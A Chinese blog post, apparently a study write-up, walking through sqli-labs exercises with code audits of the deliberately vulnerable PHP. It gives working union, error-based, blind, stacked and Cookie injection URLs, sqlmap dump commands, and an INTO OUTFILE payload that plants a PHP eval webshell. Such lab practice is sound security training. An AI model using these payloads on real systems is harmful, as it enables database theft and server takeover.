当前位置: 首页 > news >正文

sql注入的专项练习 sqlilabs(含代码审计)

在做题之前先复习了数据库的增删改查,然后自己用本地的环境,在自己建的库里面进行了sql语句的测试,主要是回顾了一下sql注入联合注入查询的语句和sql注入的一般做题步骤。

1.获取当前数据库

2.获取数据库中的表 

  3.获取表中的字段名

一、sql注入的原理

SQL注入是一种安全漏洞,它允许攻击者通过在应用程序的输入中插入或者操作SQL命令来改变后端数据库的查询和操作。SQL注入的主要原因是代码中直接将用户输入与SQL命令拼接在一起,没有进行适当的验证或清理,导致输入可以被解释为SQL的一部分而不是数据。攻击者通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,实现无账号登录,甚至篡改数据库等,它是目前黑客对数据库进行攻击的最常用手段之一。

二、sql注入的分类

根据注入技术分类有以下五种:

布尔型盲注:根据返回页面判断条件真假

时间型盲注:用页面返回时间是否增加判断是否存在注入

基于错误的注入:页面会返回错误信息

联合查询注入:可以使用union的情况下

堆查询注入:可以同时执行多条语句 

详情可参考:SQL注入(上)_sql的flag-CSDN博客 

三、sql注入的专项练习 

sql注入的一般做题步骤(适用于联合查询注入和报错注入):

1.判断是整数型还是字符型

判断方法:输入id =1 and 1=1,发现没有变化,换成and 1=2有变化,则为整数型

2.用 ’ 进行测试,发现页面报错,证明可以进行sql注入

3.判断sql注入的类型,并使用相对于的方法进行解决

4.判断有几个字段

5.爆当前数据库

6.爆表明

7.爆字段名

8.爆出数据 

 (1)联合查询注入(sqlilabs中的less-1)

联合查询注入的原理:

首先是这个sql注入可以使用union select语句,其次是将联合语句与用户输入相结合,让联合语句能够在服务器上执行,实现我们对数据的查询与获取,在查询的过程中页面只会呈现数据中的一行数据,这时候就得不到我们要的数据,此时,要用-将前面的注释掉,也可以把-1理解为空字符,那么他就会执行后面的联合语句,最后实现注入

代码审计:

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
//这行代码引入了位于上级目录sql-connections下的sql-connect.php文件,这个文件通常包含了数据库连接所需的参数和函数。
error_reporting(0);
// take the variables 
if(isset($_GET['id']))   //检查是否通过GET方法传递了名为id的参数。
{
$id=$_GET['id']; //如果id参数存在,将其值赋给变量$id。
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
//日志记录部分
使用fopen, fwrite, 和 fclose 函数将ID信息追加到一个名为result.txt的文本文件中。// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
//构建SQL查询语句,用于从users表中检索与给定ID匹配的用户记录。
$result=mysql_query($sql);
//使用mysql_query函数执行SQL查询,并将结果存储在$result中。
$row = mysql_fetch_array($result);
//从查询结果中获取一行数据,并将其存储在$row数组中。if($row){echo "<font size='5' color= '#99FF00'>";echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else {echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>";  }
}
//如果$row不为空(即找到了匹配的记录),则输出用户名和密码;否则,输出MySQL错误信息。else { echo "Please input the ID as parameter with numeric value";}
//如果没有通过GET方法传递id参数,则输出错误消息。
?>
总体来说,这段代码的目的是从数据库中检索与给定ID匹配的用户信息,并将结果或错误信息显示在页面上。

方法一 手注

1.根据页面回显,判断出为字符型注入,且为单引号闭合方式

2.这个题也可以使用报错注入 ,这里使用联合注入的方法,先判断出字段数,判断出一共有三个字段

3.判断出当前数据库为security,注意:这里 需要在1之前加上-,这是为了后面union语句的执行

4.判断表名,输入

http://sql/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

5.判断出字段,输入:

http://sql/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

6.爆数据,输入:

http://sql/Less-1/?id=-1' union select 1,2,group_concat(username,id,password) from users--+

方法二 使用sqlmap

资料:SQLMap使用教程:从入门到入狱详细指南-CSDN博客

 1.爆数据库名

python sqlmap.py -u "http://sql/Less-1/?id=1" --dbs --batch

2.爆表名

python sqlmap.py -u "http://sql/Less-1/?id=1" -D security --tables

 3.爆字段

python sqlmap.py -u "http://sql/Less-1/?id=1" -D security -T users --columns

4.爆数据

python sqlmap.py -u "http://sql/Less-1/?id=1"  -D security -T users -C id,username,password --dump --batch

(2)报错注入(less-5)

原理:

利用数据库在执行错误的sql语句时,会返回相应的错误信息,这些错误信息可以帮助攻击者了解数据库的结构和内容,因为想要的信息会跟着报错的信息一起出现

代码审计:

// 包含数据库连接参数
include("../sql-connections/sql-connect.php");// 关闭错误报告(不推荐在开发环境中使用)
error_reporting(0);// 检查是否存在 'id' GET 参数
if(isset($_GET['id']))
{// 获取 'id' 参数的值$id = $_GET['id'];// 将 'id' 写入日志文件$fp = fopen('result.txt', 'a');fwrite($fp, 'ID:'.$id."\n");fclose($fp);// 构建查询语句并执行$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result = mysql_query($sql); // 注意:mysql_* 函数已废弃// 提取查询结果$row = mysql_fetch_array($result);// 检查查询结果if($row){// 显示成功消息echo '<font size="5" color="#FFFF00">';echo 'You are in...........';echo "<br>";echo "</font>";}else {// 显示错误信息echo '<font size="3" color="#FFFF00">';print_r(mysql_error()); // 显示 MySQL 错误信息echo "</br></font>";}
}
else 
{// 如果 'id' 参数不存在,则显示错误消息echo "Please input the ID as parameter with numeric value";
}

方法一 手注

1.判断出为字符型注入且单引号为闭合方式

2. 判断出有三个字段

3.判断当前数据库

http://sql/Less-5/?id=-1' and (updatexml(1,concat('~',database()),3))--+

 4.判断表

http://sql/Less-5/?id=-1' and (updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),3))--+

5.判断出字段名

http://sql/Less-5/?id=-1' and (updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),3))--+

6.得数据

方法二 sqlmap的使用(与上题做法一样)

1.爆数据库

2.爆表

3.爆字段

4.得到数据

(3) 布尔盲注(less-8)

布尔是一种类型,核心是在于判断正确与否。布尔就是指这个页面有回显,但是不会显示具体内容,只会显示语句是否正常执行;

代码审计:

// 引入MySQL连接参数
include("../sql-connections/sql-connect.php");// 关闭错误报告,不建议在生产环境中这么做
error_reporting(0);// 检查GET参数中是否存在'id'
if(isset($_GET['id']))
{// 获取'id'参数值$id=$_GET['id'];// 将连接参数记录到文件中$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);// 构造SQL查询语句$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";// 执行SQL查询// 注意:这里使用了mysql_*系列函数,这是PHP的废弃函数,应使用mysqli_*或PDO$result=mysql_query($sql);// 获取查询结果$row = mysql_fetch_array($result);// 检查查询结果if($row){// 如果查询到数据,输出提示信息echo '<font size="5" color="#FFFF00">';echo 'You are in...........';echo "<br>";echo "</font>";}else {// 如果没有查询到数据,输出提示信息(但这里注释掉了错误信息)echo '<font size="5" color="#FFFF00">';echo "</br></font>";echo '<font color= "#0000ff" font size= 3>'; // 注意这里font属性应该分开写// 注释掉的错误信息,用于调试// echo 'You are in...........';// print_r(mysql_error());// echo "You have an error in your SQL syntax";// 缺少关闭<font>标签}
}
else 
{ // 如果没有提供'id'参数,输出提示信息echo "Please input the ID as parameter with numeric value";
}

方法一 手注 

函数:

ascii() 函数,返回字符ascii码值

    参数 : str单字符

length() 函数,返回字符串的长度

    参数 : str 字符串

left() 函数,返回从左至右截取固定长度的字符串

    参数str,length
    str : 字符串
    length:截取长度

substr()/substring() 函数 , 返回从pos位置开始到length长度的子字符串

    参数,str,pos,length
    str: 字符串
    pos:开始位置
    length: 截取长

1.在测试的过程中,发现不会有报错信息,这个也从源代码中体现了,使用布尔盲注,判断出为字符型注入且由源代码可得闭合方式为单引号

2.判断字段数

3.判断数据库的长度,使用length()函数,长度为8

http://sql/Less-8/?id=1' and length(database())>8--+

4.知道了数据库的长度,现在要来判断数据库的名称,得到数据库名字为"security"

?id=1' and (ascii(substr((select database()),1,1)))  =  115--+ 
?id=1' and (ascii(substr((select database()),2,1)))  =  101--+ 
?id=1' and (ascii(substr((select database()),3,1)))  =  99--+ 
?id=1' and (ascii(substr((select database()),4,1)))  =  117--+ 
?id=1' and (ascii(substr((select database()),5,1)))  =  114--+ 
?id=1' and (ascii(substr((select database()),6,1)))  =  105--+ 
?id=1' and (ascii(substr((select database()),7,1)))  =  116--+ 
?id=1' and (ascii(substr((select database()),8,1)))  =  121--+ 

5.判断表的数量,为4个

?id=1'   and (select count(table_name) from information_schema.tables where table_schema=database())>3  --+   

6.分别判断这四个表的名称,第一个表的长度(结果为6):

?id=1'   and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+

 7.判断第一个表的名称为emails,剩下的表名都是以此类推,得到最后的表为users

注意:这里limit是控制是哪一个表,例如:limit 0,1是第一个表;limit 1,1是第二个表

再熟悉一下substr()函数的用法就可以了

http://sql/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) >101--+
http://sql/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1)) >109--+
http://sql/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),3,1)) >97--+
http://sql/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),4,1)) >105--+
.
.
.

8.爆字段的列数,得到有三列

http://sql/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users') >3--+

9.爆这三个列的列明,先爆第一个列的长度,长度为2

http://sql/Less-8/?id=1' and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)) =2--+

10.爆第一个列的列名,得到第一列为id,其他的两个也是以此类推,分别得到username,password

http://sql/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)) >105--+
http://sql/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1)) >100--+

11.获取数据,先判断数据的条数

http://sql/Less-8/?id=1' and  (select count(*) from users)>13 --+

12.判断第一条数据,其他数据都是类似的方法,可以得到所有数据

判断第一个id的长度(长度为1):
http://sql/Less-8/?id=1' and length((select id from users limit 0,1))=1 --+
判断第一个id的数据(数据为1):
http://sql/Less-8/?id=1'   and  ascii(substr((select id from users limit 0,1),1,1))=49 --+
判断第一个username的长度(长度为4):
http://sql/Less-8/?id=1'   and  length((select username from users limit 0,1))>4 --+
判断第一个username的数据(数据为Dumb):
http://sql/Less-8/?id=1'   and  ascii(substr((select username from users limit 0,1),1,1))>68 --+
http://sql/Less-8/?id=1'   and  ascii(substr((select username from users limit 0,1),2,1))>117 --+
http://sql/Less-8/?id=1'   and  ascii(substr((select username from users limit 0,1),3,1))>109 --+
http://sql/Less-8/?id=1'   and  ascii(substr((select username from users limit 0,1),4,1))>98 --+
判断第一个password的长度(长度为4):
http://sql/Less-8/?id=1' and length((select password from users limit 0,1))>4--+
判断第一个paasword的数据(数据为Dumb):
http://sql/Less-8/?id=1'   and  ascii(substr((select password from users limit 0,1),1,1))>68 --+
http://sql/Less-8/?id=1'   and  ascii(substr((select password from users limit 0,1),1,1))>117 --+
http://sql/Less-8/?id=1'   and  ascii(substr((select password from users limit 0,1),1,1))>109 --+
http://sql/Less-8/?id=1'   and  ascii(substr((select password from users limit 0,1),1,1))>98 --+
.
.
.

也可以用以下的方法 

方法二 sqlmap的使用(与上题一样)

1.爆数据库

2.爆表名

3.爆字段

4.爆数据

(4)时间盲注(less-9)

时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数sleep()函数

sleep函数是令来控制响应时间的,sleep(5)就是令页面等5秒后再响应;
if函数(条件,条件成功返回结果,条件失败返回结果);if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。

先进行分析:

输入任何参数,页面都只有一种响应结果:You are in...........

无回显位置,不适合联合注入;

无报错信息,不适合报错注入;

查询的正确与否不会影响页面的响应(只有一种响应),不适合布尔盲注。

综上所述,考虑使用时间盲注。

资料:SQLi LABS Less 9 时间盲注_sqli-labs 时间盲注脚本第九关-CSDN博客

SQL注入-时间盲注_sql时间盲注-CSDN博客

代码审计:

分析代码可得:这段代码与上一个代码不一样的地方在else,查询到数据与没有查到都是一样的回显,由此也可以知道页面都只有一种响应结果的原因,以及使用时间盲注的原因

方法一 手注

1.判断注入条件

?id=1' and if(1,sleep(5),3) --+

页面响应时间超过5秒,确定存在时间盲注,且闭合方式为单引号。

2.接下来,与布尔盲注差不多,判断数据库长度,判断数据库的名称.......

判断数据库名长度
?id=1'and if(length((select database()))>9,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
猜解表名长度(此处都是以第一个表为例):
?id=1' and if(length(select table_name from information_schema.tables where table_schema = database() limit 0,1)>y,sleep(5),1)–-+
猜解表名:
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5))–-+
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=101,1,sleep(5))–-+
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=101,1,sleep(5))–-+.....
猜测字段的长度(以第一个字段为例):
?id=1' and if(length(select column_name from information_schema.columns where table_schema = database() and table_name='users' limit 0,1)>y,sleep(5),1)–-+
猜测列明:
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=101,1,sleep(5))–-+
......
猜测字段的条数:
?id=1' and  if((select count(*) from users)>13,sleep(5),1)--+
....(判断数据可参考布尔盲注)

方法二 sqlmap的使用

1.爆数据库

2.爆表

3.爆字段

4.爆数据

时间盲注和布尔盲注的其他方法可参考:SQL注入的相关例题(ctfhub)_sql注入练习-CSDN博客

(5)堆叠注入(less-38)

代码审计:

第38关的代码与之前的代码的不同之处主要在于出现了mysqli_multi_query()函数,mysqli_multi_query()函数支持同时执行多条SQL语句,‌而mysqli_query()函数一次只能执行一条SQL语句。‌由此可见,可以使用堆叠注入

 方法一 手注

1.判断为字符型的堆叠注入,且闭合方式为单引号,一共有三个字段

2.这里根据前面的方法可以知道相关的数据,使用堆叠注入,实现插入用户

http://sql/Less-38/?id=-1';insert into users(id,username,password) values ('38','less38','aaaaa')--+

3.查询插入的数据

#插入数据
insert into table_name(column_name_1,column_name_2,column_name_3) value(value_1,value_2,value_3);
#删除数据
delete from table_name where column_name_2=value_2;
#修改数据
update table_name set column_name_1=value_1 [,column_2=value_2...] where 字句;
#删除表
drop table table_name;
#读取文件
select load_file('文件路径');

方法二 sqlmap的使用

与上面的题都是一样的,这里只展示最后的结果

资料:https://www.cnblogs.com/backlion/p/9721687.html

(6)sql注入写马(less-7)

代码审计:

第七关的源代码与他之前的关卡的代码类似,只是在第七关中出现了outfile,在这里先了解几个函数

  1. into dumpfile()
  2. into outfile()
  3. load_file()
  4. 详细的函数解释可以去这个网站看https://www.cnblogs.com/7-58/p/14101610.html

方法一 手注

1.首先判断出是字符型,闭合方式可由源代码可得是'))

2.判断字段数,一共有三个字段

3.找绝对路径

我们可以选择@@basedir@@datadir来获取MYSQL的安装路径和数据路径。然后,利用outfileload_file()函数,我们可以将查询结果写入文件,并读取文件内容。

本题的路径为:D:\phpstudy\phpstudy_pro\WWW\sqli-labs-master\Less-7

4.用into outfile函数写入一句话木马,其中两个\\是防转义

http://sql/Less-7/?id=1')) union select 1,"<?php eval($_REQUEST[shell])?>",3 into outfile "D:\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\shell.php"--+

5.使用蚁剑连接

6.成功进入后门

方法二 sqlmap的使用(与前面的题一样)

 (7)请求头注入(less-20)

一般来说,比较常见的请求头注入包括:User-Agent注入,Referer注入,Cookie注入

代码审计:

方法一 手注

1.这个题要先登录

2.使用bp抓包,修改cookie部分,判断出为字符型注入,且为单引号闭合

3. 可以使用联合注入,这里使用的是报错注入的方式,先判断出数据库

and updatexml(1,concat('~',database()),3)--+

4.判断表

and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),3)--+

5.判断字段

and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users')),3)--+

6.判断数据

方法二 sqlmap的使用 

由于这题是post请求,所以先使用burp进行抓包,然后将数据包存入txt文件中打包  用-r 选择目标txt文件,先在Cookie 处加上*代表注入点

1.爆当前数据库

python sqlmap.py -r 文件路径  --current-db --batch

2.爆表

python sqlmap.py -r D:\phpstudy\phpstudy_pro\WWW\sqli-labs-master
\Less-20\1.txt -D security --tables

3.爆字段

python sqlmap.py -r D:\phpstudy\phpstudy_pro\WWW\sqli-labs-master\Less-20\1.txt -D security -T users --columns

4.爆数据

python sqlmap.py -r D:\phpstudy\phpstudy_pro\WWW\sqli-labs-master\Less-20\1.txt -D security -T users -C id,username,password --dump

四、sql注入常见的绕过方式

资料:常见sql注入绕过方法-CSDN博客

相关文章:

sql注入的专项练习 sqlilabs(含代码审计)

在做题之前先复习了数据库的增删改查&#xff0c;然后自己用本地的环境&#xff0c;在自己建的库里面进行了sql语句的测试&#xff0c;主要是回顾了一下sql注入联合注入查询的语句和sql注入的一般做题步骤。 1.获取当前数据库 2.获取数据库中的表 3.获取表中的字段名 一、sql…...

淄博网站建设贵不贵

淄博网站建设的价格因各种因素而异&#xff0c;它可能会根据您对网站的需求、功能和设计复杂性等方面的要求而有所不同。虽然淄博网站建设的费用可能因需求的不同而有所变化&#xff0c;但是无论如何&#xff0c;它通常是值得的投资。 首先&#xff0c;对于个人和小型企业来说&…...

【学习笔记】无人机系统(UAS)的连接、识别和跟踪(十)-无人机A2X服务

引言 3GPP TS 23.256 技术规范&#xff0c;主要定义了3GPP系统对无人机&#xff08;UAV&#xff09;的连接性、身份识别、跟踪及A2X&#xff08;Aircraft-to-Everything&#xff09;服务的支持。 3GPP TS 23.256 技术规范&#xff1a; 【免费】3GPPTS23.256技术报告-无人机系…...

基于迁移学习的手势分类模型训练

1、基本原理介绍 这里介绍的单指模型迁移。一般我们训练模型时&#xff0c;往往会自定义一个模型类&#xff0c;这个类中定义了神经网络的结构&#xff0c;训练时将数据集输入&#xff0c;从0开始训练&#xff1b;而迁移学习中&#xff08;单指模型迁移策略&#xff09;&#x…...

个性化音频生成GPT-SoVits部署使用和API调用

一、训练自己的音色模型步骤 1、准备好要训练的数据&#xff0c;放在Data文件夹中&#xff0c;按照文件模板中的结构进行存放数据 2、双击打开go-webui.bat文件&#xff0c;等待页面跳转 3、页面打开后&#xff0c;开始训练自己的模型 &#xff08;1&#xff09;、人声伴奏分…...

MFC列表框示例

本文仅供学习交流&#xff0c;严禁用于商业用途&#xff0c;如本文涉及侵权请及时联系本人将于及时删除 目录 1.示例内容 2.程序步骤 3.运行结果 4.代码全文 1.示例内容 编写一个对话框应用程序CMFC_Li6_4_学生信息Dlg&#xff0c;对话框中有一个列表框&#xff0c;当用户…...

Android TabLayout的简单用法

TabLayout 注意这里添加tab&#xff0c;使用binding.tabLayout.newTab()进行创建 private fun initTabs() {val tab binding.tabLayout.newTab()tab.text "模板库"binding.tabLayout.addTab(tab)binding.tabLayout.addOnTabSelectedListener(object : TabLayout.On…...

基于vite + pnpm monorepo 实现一个UI组件库

基于vite pnpm monorepo的vue组件库 仓库地址 思路 好多文章都是直接咔咔咔的上代码。跟着做也没问题&#xff0c;但总觉得少了些什么。下次做的时候还要找文章参考。。 需求有三个模块&#xff0c;那么就需要三个包。使用monorepo进行分包管理。 a. 组件库 b. 组件库文档…...

FDM3D打印系列——Luck13关节可动模型打印和各种材料的尝试

luck13可动关节模型FDM3D打印制作过程 大家好&#xff0c;我是阿赵。   最近我沉迷于打印一个叫做Luck13的关节超可动人偶。 首先说明一下&#xff0c;这个模型是分为了外甲和骨骼两个部分的。   为什么我会打印了这么多个呢&#xff1f; 一、第一次尝试——PLATPU 刚开始…...

windows10 获取磁盘类型

powershell Get-PhysicalDisk | Select FriendlyName, MediaType FriendlyName MediaType ------------ --------- NVMe PC SN740 NVMe WD 256GB SSD WDC WD10EZEX-75WN4A1 HDD 适用场景 SSD&#xff1a; 适合需要快速访问速度和较高响…...

数据库之运算符

目录 一、算数运算符 二、比较运算符 1.常用比较运算符 2.实现特殊功能的比较运算符 三、逻辑运算符 1.逻辑与运算符&#xff08;&&或者AND&#xff09; 2.逻辑或运算符&#xff08;||或者OR&#xff09; 3.逻辑非运算符&#xff08;&#xff01;或者NOT&#…...

【自动化机器学习AutoML】AutoML工具和平台的使用

自动化机器学习AutoML&#xff1a;AutoML工具和平台的使用 目录 引言什么是AutoMLAutoML的优势常见的AutoML工具和平台 Google Cloud AutoMLH2O.aiAuto-sklearnTPOTMLBox AutoML的基本使用 Google Cloud AutoML使用示例Auto-sklearn使用示例 AutoML的应用场景结论 引言 自动…...

【每日一练】python求最后一个单词的长度

""" 求某变量中最后一个单词的长度 例如s"Good morning, champ! Youre going to rock this day" 分析思路: 遇到字符串问题&#xff0c;经常和列表结合使用来解决&#xff0c; 可以先用列表的.split()分割方法进行单词分割&#xff0c; 再…...

[红明谷CTF 2021]write_shell 1

目录 代码审计check()$_GET["action"] ?? "" 解题 代码审计 <?php error_reporting(0); highlight_file(__FILE__); function check($input){if(preg_match("/| |_|php|;|~|\\^|\\|eval|{|}/i",$input)){// if(preg_match("/| |_||p…...

【Go - sync.once】

sync.Once 是 Go 语言标准库中的一个结构体&#xff0c;它的作用是确保某个操作在全局范围内只被执行一次。这对于实现单例模式或需要一次性初始化资源的场景非常有用。 典型用法 sync.Once 提供了一个方法 Do(f func())&#xff0c;该方法接收一个没有参数和返回值的函数 f …...

Spark RPC框架详解

文章目录 前言Spark RPC模型概述RpcEndpointRpcEndpointRefRpcEnv 基于Netty的RPC实现NettyRpcEndpointRefNettyRpcEnv消息的发送消息的接收RpcEndpointRef的构造方式直接通过RpcEndpoint构造RpcEndpointRef通过消息发送RpcEndpointRef Endpoint的注册Dispatcher消息的投递消息…...

win10安装ElasticSearch7.x和分词插件

说明&#xff1a; 以下内容整理自网络&#xff0c;格式调整优化&#xff0c;更易阅读&#xff0c;希望能对需要的人有所帮助。 一 安装 Java环境 ElasticSearch使用Java开发的&#xff0c;依赖Java环境&#xff0c;安装 ElasticSearch 7.x 之前&#xff0c;需要先安装jdk-8。…...

Linux中,MySQL的用户管理

MySQL库中的表及其作用 user表 User表是MySQL中最重要的一个权限表&#xff0c;记录允许连接到服务器的帐号信息&#xff0c;里面的权限是全局级的。 db表和host表 db表和host表是MySQL数据中非常重要的权限表。db表中存储了用户对某个数据库的操作权限&#xff0c;决定用户…...

个人电脑网络安全 之 防浏览器和端口溢出攻击 和 权限对系统的重要性

防浏览器和端口溢出攻击 该如何防 很多人都不明白 我相信很多人只知道杀毒软件 却不知道网络防火墙 防火墙分两种 &#xff1a; 1、 病毒防火墙 也就是我们说的杀毒软件 2、 网络防火墙 这是用来防软件恶意通信的 使用防火墙 有两种 1、 半开式规则…...

美食聚焦 -- 仿大众点评项目技术难点总结

1 实现点赞功能显示哪些用户点赞过并安装时间顺序排序 使用sort_set 进行存储&#xff0c;把博客id作为key&#xff0c;用户id作为value&#xff0c;时间戳作为score 但存储成功之后还是没有成功按照时间顺序排名&#xff0c;因为sql语句&#xff0c;比如最后in&#xff08;5…...

拓扑图:揭示复杂系统背后的结构与逻辑

在现代软件开发和运维中,图形化的表示方式越来越重要。拓扑图,作为一种关键的可视化工具,不仅能够帮助我们理解系统的结构和组件间的关系,还能提升系统的可维护性和可扩展性。 什么是拓扑图? 拓扑图是一种展示系统或网络中各个节点(如服务器、交换机、数据库等)及其连…...

Java面试八股之什么是spring boot starter

什么是spring boot starter Spring Boot Starter是Spring Boot项目中的一个重要概念。它是一种依赖管理机制&#xff0c;用于简化Maven或Gradle配置文件中的依赖项声明。Spring Boot Starter提供了一组预定义的依赖关系&#xff0c;这些依赖关系被封装在一个单一的包中&#x…...

探究项目未能获得ASPICE 1、2级能力的原因及改进策略

项目整体未能获得ASPICE 1、2级能力的原因可能涉及多个方面&#xff0c;以下是基于参考文章中的信息和可能的情境进行的分析&#xff1a; 1.过程成熟度不足&#xff1a;ASPICE&#xff08;Automotive Software Process Improvement and Capability Determination&#xff09;是…...

WHAT - 不同 HTTP Methods 使用场景、使用方法和可能遇到的问题

目录 前言基本介绍具体介绍前置知识&#xff1a;幂等和非幂等幂等操作非幂等操作幂等性和非幂等性的应用场景总结 1. GET2. POST3. PUT4. PATCH1. 确保操作是幂等的2. 使用版本控制或条件更新3. 全量更新部分属性4. 使用特定操作指令5. 幂等标识符示例代码总结 5. DELETE6. HEA…...

Pytorch使用教学4-张量的索引

1 张量的符号索引 张量也是有序序列&#xff0c;我们可以根据每个元素在系统内的顺序位置&#xff0c;来找出特定的元素&#xff0c;也就是索引。 1.1 一维张量的索引 一维张量由零维张量构成 一维张量索引与Python中的索引一样是是从左到右&#xff0c;从0开始的&#xff…...

【Git多人协作开发】同一分支下的多人协作开发模式

目录 0.前言场景 1.开发者1☞完成准备工作&协作开发 1.1创建dev分支开发 1.2拉取远程dev分支至本地 1.3查看分支情况和分支联系情况 1.4创建本地dev分支且与远程dev分支建立联系 1.5在本地dev分支上开发file.txt 1.6推送push至远程仓库 2.开发者2☞完成准备工作&…...

Vue使用FullCalendar实现日历/周历/月历

Vue使用FullCalendar实现日历/周历/月历 需求背景&#xff1a;项目上遇到新需求&#xff0c;要求实现工单以日/周/月历形式展示。而且要求不同工单根据状态显示不同颜色&#xff0c;一个工单内部&#xff0c;需要以不同颜色显示三个阶段。 效果图 日历 周历 月历 安装插件…...

社交圈子聊天交友系统搭建社交app开发:陌生交友发布动态圈子单聊打招呼群聊app介绍

系统概述 社交圈子部天交友系统是一个集成即时通讯、社区互动、用户管理等功能的在线社交平台。它支持用户创建个人资料&#xff0c;加入兴趣围子&#xff0c;通过文字、图片、语音、视频等多种方式进行交流&#xff0c;满足用户在不同场景下的社交需求 核心功能 -&#xff0c;…...

【微信小程序实战教程】之微信小程序原生开发详解

微信小程序原生开发详解 微信小程序的更新迭代非常频繁&#xff0c;几乎每个月都会有新版本发布&#xff0c;这就会让初学者感觉到学习的压力和难度。其实&#xff0c;我们小程序的每次版本迭代都是在现有小程序架构基础之上进行更新的&#xff0c;如果想要学好小程序开发技术&…...

PHP身份证实名认证接口集成守护电商购物

在这个万物互联的世界里&#xff0c;网购已成为日常生活中不可或缺的一部分。然而&#xff0c;随着线上交易的增加&#xff0c;如何保护消费者和商家免受欺诈&#xff0c;确保每一笔交易的安全&#xff0c;成了亟待解决的难题。这时&#xff0c;身份证实名认证接口应运而生&…...

为什么有了MAC还需要IP?

目录 MAC地址&#xff08;Media Access Control Address&#xff09;IP地址&#xff08;Internet Protocol Address&#xff09;为什么需要两者&#xff1f; IP地址和MAC地址在网络通信中扮演着不同的角色&#xff0c;它们各自有独特的功能和用途。下面是它们的主要区别和为什么…...

SpringBoot中如何使用RabbitMq

一&#xff0c;RabbitMQ简介和基本概念 RabbitMQ 是一个开源的消息中间件&#xff0c;基于 AMQP&#xff08;高级消息队列协议&#xff09;实现。 它由 Erlang 语言开发&#xff0c;并且支持多种编程语言&#xff0c;包括 Java、Python、Ruby、PHP 和 C# 等&#xff0c; 下载…...

LangChain自定义Embedding封装 之 ERNIE Bot

LangChain自定义Embedding封装 之 ERNIE Bot 百度飞浆平台的 ERNIE Bot 导入下面方法 和 环境 &#xff0c;即可验证 embedding ERNIE_Bot_embedding() class ERNIE_Bot_embedding(BaseModel, Embeddings):client: Anyroot_validator()def validate_environment(cls, value…...

Git 安装教程

1、登录git 官方网站&#xff1a;https://git-scm.com/ 点击左边的 Downloads 或者 右边标识的下载标志&#xff0c;它根据电脑操作系统自动匹配版本 Downloads for Windows 2、以 windows 为例下载对应版本 网络有时可能不大好&#xff0c;阿里镜像下载超快。 下载好以后&a…...

Lua 类管理器

Lua 类管理器 -- ***** Class Manager 类管理*****‘local ClassManager {}local this ClassManagerfunction ClassManager.Class(className, ...)print(ClassManager::Class)--print(className)-- 构建类local cls {__className className}--print(cls)-- 父类集合local …...

实现领域驱动设计(DDD)系列详解:领域模型的持久化

领域驱动设计主要通过限界上下文应对复杂度&#xff0c;它是绑定业务架构、应用架构和数据架构的关键架构单元。设计由领域而非数据驱动&#xff0c;且为了保证定义了领域模型的应用架构和定义了数据模型的数据架构的变化方向相同&#xff0c;就应该在领域建模阶段率先定义领域…...

配置sublime的中的C++编译器(.sublime-build),实现C++20

GCC 4.8: 支持 C11 (部分) GCC 4.9: 支持 C11 和 C14 (部分) GCC 5: 完全支持 C14 GCC 6: 支持 C14 和 C17 (部分) GCC 7: 支持 C17 (大部分) GCC 8: 完全支持 C17&#xff0c;部分支持 C20 GCC 9: 支持更多的 C20 特性 GCC 10: 支持大部分 C20 特性 GCC 11: 更全面地支持 C20 …...

Android14 - 前台Service、图片选择器 、OpenJDK 17、其他适配

前台服务 1. 指定前台服务类型 以 Android 14(API 级别 34)或更高版本为目标平台的应用,需要为应用中的每项前台服务指定服务类型,因为系统需要特定类型的前台服务满足特定用例。具体介绍如下: 在Android 10 在 <service> 元素内引入了 android:foregroundServiceT…...

数据恢复教程:如何从硬盘、SD存储卡、数码相机中恢复误删除数据。

